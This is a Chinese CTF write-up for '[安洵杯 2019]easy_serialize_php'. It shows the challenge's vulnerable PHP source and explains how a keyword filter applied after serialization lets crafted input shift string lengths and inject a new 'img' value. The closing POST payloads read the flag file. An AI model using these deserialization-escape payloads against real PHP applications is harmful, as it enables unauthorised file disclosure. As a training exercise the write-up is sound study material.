CTF代码审计之[安洵杯 2019]easy_serialize_php

[安洵杯 2019]easy_serialize_php

 参考连接 https://www.jianshu.com/p/8e8117f9fd0e 大佬的文章 

考点：php反序列化逃逸

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

 观察可以找到

还有根据代码

 

 可以知道 数据在序列化之后又进行了一次过滤，可能会造成序列化之后数据丢失

php反序列化逃逸

 特性一：

反序列化

//输入
<?php
$str = 'a:2:{i:0;s:5:"hello";i:1;s:5:"world";}';
var_dump(unserialize($str));
?>

//输出
array(2) {
  [0]=>
  string(5) "hello"
  [1]=>
  string(5) "world"
}

但是如果在str后面加上某些字符

//输入
<?php
$str = 'a:2:{i:0;s:5:"hello";i:1;s:5:"world";}abc';
var_dump(unserialize($str));
?>

//输出结果相同，不影响反序列化的正常进行
array(2) {
  [0]=>
  string(5) "hello"
  [1]=>
  string(5) "world"
}

特性二：

//输入
<?php
$_SESSION["user"]='flagflagflagflagflagflag'；
$_SESSION["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}';
$_SESSION["img"]='L2QwZzNfZmxsbGxsbGFn';
echo serialize($_SESSION);

//输出
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

假如后台有过滤机制，能让 flag 替换为空

则输出为

a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

//输入
<?php
$str='a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}';
var_dump(unserialize($str));

//输出
array(3) {
  ["user"]=>
  string(24) "";s:8:"function";s:59:"a"
  ["img"]=>
  string(20) "ZDBnM19mMWFnLnBocA=="
  ["dd"]=>
  string(1) "a"
}

可以发现 SESSION数组的键值img对应的值发生了改变，可以知道，过滤掉 flag之后， ZDBnM19mMWFnLnBocA==  代替了真正 base64的编码，读取了d0g3_f1ag.php的内容，之后的内容则被被忽略掉了。

题目

payload：

 post:_SESSION[flagflag]=";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} 

再 替换为 _SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:2:"dd";s:1:"a";} 回显得到 flag